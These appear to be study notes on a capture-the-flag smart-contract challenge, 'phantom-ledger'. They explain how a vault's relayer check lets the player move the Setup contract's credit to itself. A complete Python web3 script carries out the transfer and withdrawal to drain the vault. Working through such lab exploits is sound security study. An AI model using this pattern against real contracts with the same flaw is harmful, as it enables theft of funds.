phantom-ledger
- •
Attribution
- •
Solved by kkira during the competition. These are rn’s study notes based on the teammate’s documented solve, not an independent rn solve.
- •
- •
What it asked
- •
Empty the PhantomVault so the Setup contract reports isSolved().
- •
- •
Approach
- •
The vault authorizes transferCredit(from,to,amount) when msg.sender equals from OR the configured relayer.
- •
Setup constructs the vault with the player as relayer. The initial internal balance belongs to Setup, but the player therefore has permission to move that balance to themselves.
- •
As the player, call transferCredit(setup, player, amount), then withdraw(amount). Read the actual balance instead of assuming a fixed ETH amount.
- •
The documented attack is an authorization failure. The flag’s references to ECDSA malleability and cross-function reentrancy do not establish that either technique was used. A separate exploit contract would change msg.sender and is unnecessary.
- •
- •
Solution
- •
# w3: configured Web3 client; player: the supplied challenge account. # setup and vault: contract objects constructed with the challenge ABIs. def solve_phantom(w3, player, setup, vault): def send(fn): tx = fn.build_transaction({ 'from': player.address, 'nonce': w3.eth.get_transaction_count(player.address, 'pending'), 'chainId': w3.eth.chain_id, 'gas': 300000, 'gasPrice': w3.eth.gas_price, }) signed = player.sign_transaction(tx) receipt = w3.eth.wait_for_transaction_receipt( w3.eth.send_raw_transaction(signed.raw_transaction)) assert receipt.status == 1 amount = vault.functions.getBalance(setup.address).call() assert amount > 0 send(vault.functions.transferCredit(setup.address, player.address, amount)) send(vault.functions.withdraw(amount)) assert setup.functions.isSolved().call()
- •
- •
Verification
- •
The PDF records successful draining. Check transaction receipts and Setup.isSolved(); a changed internal balance alone is not proof that ETH was withdrawn. No live transactions were sent during this refactor.
- •
- •
Concepts
- •